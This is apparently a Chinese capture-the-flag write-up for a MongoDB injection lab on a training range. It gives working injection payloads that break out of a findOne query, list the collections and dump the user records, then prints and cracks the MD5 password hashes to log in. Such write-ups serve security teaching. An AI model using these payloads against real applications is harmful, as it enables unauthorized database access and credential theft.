一些概念
MongoDB是一个跟其它数据库非常非常不一样的数据库,它的存储数据方式跟json类似:
{
----a:1,
----{
--------b:2,
--------c:3
----},
----d:4
}
在MongoDB中,不存在表和列的说法,有的是叫“集合”以及“文档”
文档:数据由键值对组成,多个键值对有序的组合在一起,就是文档
集合:由一组相关的文档组合在一起,就成了集合(相当于其它数据库的一张表)
数据库:由多个集合组成
准备
打开靶场(墨者学院为例),网站给出了源码,在这个源码中,能得到
数据库名:mozhe_cms_Authority
查询的语句:var data = db.notice.findOne({'id':'注入的位置'}); return data;
回显的两个字段:title、content
得到以上的信息后,打开公告网页
判断注入点
随便在id的值输入一些数字,页面发生异常,说明存在注入点
拼凑语句,获得回显
根据提供的源码,得到了如下代码:
var data = db.notice.findOne({'id':'注入的位置'}); return data;
根据上面的代码,以及提供的两个字段(title、content),拼凑出如下url:
?id=1'});return ({title:1,content:'2
成功取得回显
爆集合
取得回显后,通过db.getCollectionNames()来获取集合:
?id=1'});return ({title:db.getCollectionNames(),content:'2
为了防止数据缺失,利用tojson()方法把文档都显示出来,得到了Authority_confidential、notice、system.indexes这三个集合
?id=1'});return ({title:tojson(db.getCollectionNames()),content:'2
其中notice存放的是通告的信息,故排除
system.indexes记录的是mongoDB数据库的索引信息,故排除
于是得到Authority_confidential集合
查询Authority_confidential的集合
通过find()对Authority_confidential集合进行查询:
?id=1'});return ({title:tojson(db.Authority_confidential.find()),content:'2
好家伙,出现一大堆数据,显示太乱了,于是一条一条查:
?id=1'});return ({title:tojson(db.Authority_confidential.find()[0]),content:'2
这里得到了
id:621f1c5de8430f94f5daa9e1
name:mozhe
password:a83cd5ad5ed3e1c5597441aaab289f5c
status:0
-------------------------------------------------------
为了防止遗漏,继续:
?id=1'});return ({title:tojson(db.Authority_confidential.find()[1]),content:'2
这里得到了
id:621f1c5d19c2519bf5147095
name:mozhe
password:e58009f44aaf4423c84832f73ebca1a8
status:1
继续查下去,页面就提示undefined,说明只有两条数据:
name:mozhe
password-1:a83cd5ad5ed3e1c5597441aaab289f5c
password-2:e58009f44aaf4423c84832f73ebca1a8
MD5枚举解密
得到密码后发现是通过md5的方式加密过的,于是对它进行解密:
password-1:dsansda
password-2:937364
登录验证
取得密码后,进行验证:
第一个密码:说明这个不对
第二个密码:这个对了,成功获得key
本次注入成功